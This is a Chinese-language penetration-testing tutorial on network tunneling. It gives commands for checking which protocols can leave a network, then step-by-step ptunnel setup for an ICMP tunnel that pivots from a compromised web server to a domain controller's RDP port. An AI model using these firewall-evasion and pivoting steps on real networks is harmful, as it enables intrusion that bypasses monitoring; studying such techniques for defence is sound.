0x001 隧道介绍
什么是隧道?
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)
防火墙只允许ping出站流量,利用ptunnel建立ICMP隧道,从而实现传输数据。
为什么使用隧道?
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截,CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。
常用的隧道协议有哪些?
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
0x002 网络传输应用层检测连通性
1. TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令:nc <IP> <端口>
2. HTTP 协议
用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3. ICMP 协议
用“ping”命令,执行ping <IP地址/域名>
4. DNS 协议
检测DNS连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
0x003 网络层ICMP隧道ptunnel使用
有如下网络:
攻击者IP:192.168.64.131 # kali
攻击者vps:47.79.137.177 # 阿里云主机 ubuntu
webserver:
- 121.5.5.20 # 公网ip
- 192.168.134.128 # 内网ip centos
DC:
- 192.168.134.30 # server2008
47.79.137.177 公网地址,192.168.134.128 内网地址。Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网存在一台Windows机器,Web服务器可以与该机器连接。现在我们获取到了Web服务器的权限,想用ICMP搭建通往内网的隧道,连接内网Windows的3389端口。
实现过程:
1、webserver 启动服务端./ptunnel -x mima
2、vps设置端口转发将DC的3389端口转发到vps上
3、攻击者使用kali连接vps ip+端口(安全组放行端口)
下面使用到工具:
ptunnel安装
#安装libpcap的依赖环境
apt -y install byacc
apt -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
#### centos系统把apt改成yum进行下载####
pingtunnel
是把tcp/udp/sock5
流量伪装成icmp流量进行转发的工具
-p 跳板的公网IP
-lp 跳板机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x 为隧道写一个隧道密码,防止隧道滥用
webserver:./ptunnel -x mima
vps:./ptunnel -p 47.79.137.177 -lp 1080 -da 192.168.134.30 -dp 3389 -x mima #转发的3389请求数据给本地1080
kali:rdesktop 47.79.137.177:1080 连接的是DC的远程桌面
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)